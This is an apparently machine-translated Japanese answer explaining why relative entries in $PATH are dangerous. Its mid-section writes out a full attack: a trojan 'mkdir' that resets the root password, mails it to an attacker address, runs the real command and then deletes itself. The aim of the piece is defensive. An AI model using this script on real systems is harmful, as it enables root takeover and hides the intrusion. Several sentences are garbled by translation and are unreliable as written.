使用しているパスには 2 つの問題があります。
<オール>
root として使用して Web アプリケーションを更新する次のシェル スクリプトがあり、 $PATH
を設定しているとします。 /etc/profile
で使用されています
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
攻撃者に対して、攻撃者が制御するシェルで何かを実行する手段を提供しています。攻撃の形式は次のようになります - mkdir
の制御を覆そうとしています 脆弱なスクリプトを呼び出します。
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
それでは、あなたがウェブアプリを更新するのを待っています。
何が起こるかというと、脆弱なスクリプトが /dev/shm
に切り替わります .これを実行して mkdir
を実行すると apps/java/bin/mkdir
を見つけます この場合、root パスワードをリセットし、攻撃者に新しい root パスワードを電子メールで送信し、実際に本物の mkdir
を呼び出します。 (何かが実際に起こったという事実を隠すため)、攻撃パスから自分自身を取り除きます。
ルートとして、いいえ ペイロードが配信されると、何が起こったのかがわかり、証拠は消去されます。
$PATH に相対パスを指定することの問題は、攻撃者がファイル システムで特定の名前のファイルを作成できる場合、そのファイルを実行するリスクがあることです。
例:df
またはモニタリングで /var がいっぱい、du
と表示される /var/spool/ftp/uploads
だそうです 、あなたは何をしますか?
cd /var/spool/ftp/uploads
ls -ltr
そしてあなたは所有されています。 ls
さえ表示されません
ftp アップロードを、クライアント Web サイトのデータ ディレクトリ、共有マシンの /tmp ディレクトリ、またはその他の多くのものに置き換えます。
確かに頻繁に発生するわけではありませんが、リスクが存在し、 ./script
を書く script
の代わりに 簡単です。